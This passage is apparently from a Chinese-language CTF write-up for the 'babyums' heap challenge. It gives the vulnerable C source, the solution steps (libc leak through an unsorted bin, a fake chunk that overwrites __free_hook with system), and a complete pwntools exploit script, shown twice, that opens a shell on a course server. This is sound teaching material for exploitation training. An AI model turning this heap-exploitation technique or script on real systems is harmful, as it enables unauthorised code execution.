        case '1': add_user(); break;
        case '2': edit_data(); break;
        case '3': del_user(); break;
        case '4': show_users(); break;
        case '5': exit(0);
        }
    }
    printf("No... no power..., b..ye...\n");
    
    return 0;
}
```
* 解題思路 & 過程

    這題是跟 babynote 類似的選單題，因此解題手法也類似，甚至程式碼都沒有改變太多，只有根據 struct 變化而堆的結構以及改了一點點 function 的寫法
    1. 堆結構
 
        ![](https://i.imgur.com/5YZs1Sc.png)
        
        ![](https://i.imgur.com/0Lohunb.png)
    2. Free 掉記憶體後，再透過 show operation leak 出 unsorted bin fd(指向 main arena)，如此即可得到 libc address，在透過減去 offset 獲得 library base address，然後便可以透過加上各種 offset 得到指令位置(system offset 不太確定怎麼取得的，自己查了一下好像跟助教給得不太一樣，但試過後發現助教是對的)
        ![](https://i.imgur.com/DXz9Vtr.png)
    
        因為fake chunk 已被 free 過了，因此原先為 data 的位置處現在存放的是 unsorted bin fd，可以透過 `show_users()` leak address
        ![](https://i.imgur.com/KYgaUzV.png)



    3. 搭配助教上課的圖可以較好理解這個步驟，透過 Edit operation 的 overflow 可以建構出我們所需要的 fake chunk，可以藉此讓其 pointer 指向 _free_hook，並將 system() 給寫入，如此即可透過呼叫 free 來執行 system()。則最後在將我們即將 free 掉的記憶體位置處填入我們想執行的 syscall 指令，最後的執行程式會變成
    `free(B->data)` --> `system("/bin/sh")`
        ![](https://i.imgur.com/kPKPf1r.png)

    4. 最後透過 del_user 呼叫 free 來執行 execve()
    
        ![](https://i.imgur.com/XGLc2Rt.png)

    

* 解題程式碼 & 執行結果圖
```python=
# nc edu-ctf.zoolab.org 10008
# P.S. flag1 is the password of admin

import pwn
import time

def add_user(index, name, passw):
    r.sendlineafter(b'> ', b'1')
    r.sendlineafter(b'index\n> ', str(index))
    r.sendlineafter(b'username\n> ', str(name))
    r.sendlineafter(b'password\n> ', passw)
    time.sleep(1)
    
def edit_data(index, size, data):
    r.sendlineafter(b'> ', b'2')
    r.sendlineafter(b'index\n> ', str(index))
    r.sendlineafter(b'size\n> ', str(size))
    time.sleep(1)
    r.send(data)
    
def del_user(index):
    r.sendlineafter(b'> ', b'3')
    r.sendlineafter(b'index\n> ', str(index))
    time.sleep(1)
    
def show_users():
    r.sendlineafter(b'> ', b'4')

pwn.context.arch = 'amd64'
pwn.context.terminal = ['tmux', 'splitw', '-h']
r = pwn.remote('edu-ctf.zoolab.org', 10008)

add_user(0, 'A'*0x8, 'A'*0x8)
edit_data(0, int('0x418', 16), 'A')

add_user(1, 'B'*0x8, 'B'*0x8)
edit_data(1, int('0x18', 16), 'B')

add_user(2, 'C'*0x8, 'C'*0x8)

del_user(0)
show_users()

r.recvuntil('data: ')
libc = pwn.u64(r.recv(6).ljust(8, b'\x00')) - 0x1ecbe0
system = libc + 0x52290

free_hook = libc + 0x1eee48

fake_chunk = pwn.flat(
    0, 0x31,
    b'CCCCCCCC', b'CCCCCCCC',
    b'CCCCCCCC', b'CCCCCCCC',
    free_hook
)

data = b'/bin/sh\x00'.ljust(0x10, b'B')
edit_data(1, int('0x48', 16), data+fake_chunk)
edit_data(2, 8, pwn.p64(system))

del_user(1)



r.interactive()
```

![](https://i.imgur.com/hpFvhVx.png)

![](https://i.imgur.com/xoJl9yv.png)


## babyums(flag2)
* 題目程式碼
```cpp=
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define FLAG1 "flag{XXXXXXXX}"

struct User
{
    char name[0x10];
    char password[0x10];
    void *data;
};

struct User *users[8];

static short int get_idx()
{
    short int idx;

    printf("index\n> ");
    scanf("%hu", &idx);

    if (idx >= 8)
        printf("no, no ..."), exit(1);
    
    return idx;
}

static short int get_size()
{
    short int size;

    printf("size\n> ");
    scanf("%hu", &size);

    if (size >= 0x500)
        printf("no, no ..."), exit(1);
    
    return size;
}

void add_user()
{
    short int idx;

    idx = get_idx();
    users[idx] = malloc(sizeof(*users[idx]));

    printf("username\n> ");
    read(0, users[idx]->name, 0x10);

    printf("password\n> ");
    read(0, users[idx]->password, 0x10);

    users[idx]->data = NULL;
    printf("success!\n");
}

void edit_data()
{
    short int idx;
    short int size;

    idx = get_idx();
    size = get_size();

    if (users[idx]->data == NULL)
        users[idx]->data = malloc(size);
    
    read(0, users[idx]->data, size);
    printf("success!\n");
}

void del_user()
{
    short int idx;

    idx = get_idx();
    free(users[idx]->data);
    free(users[idx]);
    printf("success!\n");
}

void show_users()
{
    for (int i = 0; i < 8; i++) {
        if (users[i] == NULL || users[i]->data == NULL)
            continue;
        
        printf("[%d] %s\ndata: %s\n", i, users[i]->name, (char *)users[i]->data);
    }
}

void add_admin()
{
    users[0] = malloc(sizeof(*users[0]));
    strcpy(users[0]->name, "admin");
    strcpy(users[0]->password, FLAG1);
    users[0]->data = NULL;
}

int main()
{
    char opt[2];
    int power = 20;

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    printf("**** User Management System ****\n");
    add_admin();

    while (power)
    {
        power--;
        printf("1. add_user\n"
               "2. edit_data\n"
               "3. del_user\n"
               "4. show_users\n"
               "5. bye\n"
               "> ");
        read(0, opt, 2);

        switch (opt[0]) {
        case '1': add_user(); break;
        case '2': edit_data(); break;
        case '3': del_user(); break;
        case '4': show_users(); break;
        case '5': exit(0);
        }
    }
    printf("No... no power..., b..ye...\n");
    
    return 0;
}
```
* 解題過程 & 執行結果圖

    根據 babyums(flag1) 得到的 shell 進去查看
    `/home/chal/babyums.c`
    ![](https://i.imgur.com/MEpJQOH.png)
    可以看到 FLAG，只是 "FLAG" 大小寫好像有點問題？
    後來跟隊友討論才發現好像是小寫
    ![](https://i.imgur.com/um6127M.png)

    

* 解題程式碼(同 babyums(flag1))
```python=
# nc edu-ctf.zoolab.org 10008
# P.S. flag1 is the password of admin

import pwn
import time

def add_user(index, name, passw):
    r.sendlineafter(b'> ', b'1')
    r.sendlineafter(b'index\n> ', str(index))
    r.sendlineafter(b'username\n> ', str(name))
    r.sendlineafter(b'password\n> ', passw)
    time.sleep(1)
    
def edit_data(index, size, data):
    r.sendlineafter(b'> ', b'2')
    r.sendlineafter(b'index\n> ', str(index))
    r.sendlineafter(b'size\n> ', str(size))
    time.sleep(1)
    r.send(data)
    
def del_user(index):
    r.sendlineafter(b'> ', b'3')
    r.sendlineafter(b'index\n> ', str(index))
    time.sleep(1)
    
def show_users():
    r.sendlineafter(b'> ', b'4')

pwn.context.arch = 'amd64'
pwn.context.terminal = ['tmux', 'splitw', '-h']
r = pwn.remote('edu-ctf.zoolab.org', 10008)

add_user(0, 'A'*0x8, 'A'*0x8)
edit_data(0, int('0x418', 16), 'A')

add_user(1, 'B'*0x8, 'B'*0x8)
edit_data(1, int('0x18', 16), 'B')

add_user(2, 'C'*0x8, 'C'*0x8)

del_user(0)
show_users()

r.recvuntil('data: ')
libc = pwn.u64(r.recv(6).ljust(8, b'\x00')) - 0x1ecbe0 # ?
system = libc + 0x52290

free_hook = libc + 0x1eee48

fake_chunk = pwn.flat(
    0, 0x31,
    b'CCCCCCCC', b'CCCCCCCC',
    b'CCCCCCCC', b'CCCCCCCC',
    free_hook
)

data = b'/bin/sh\x00'.ljust(0x10, b'B')
edit_data(1, int('0x48', 16), data+fake_chunk)
edit_data(2, 8, pwn.p64(system))

del_user(1)


r.interactive()
```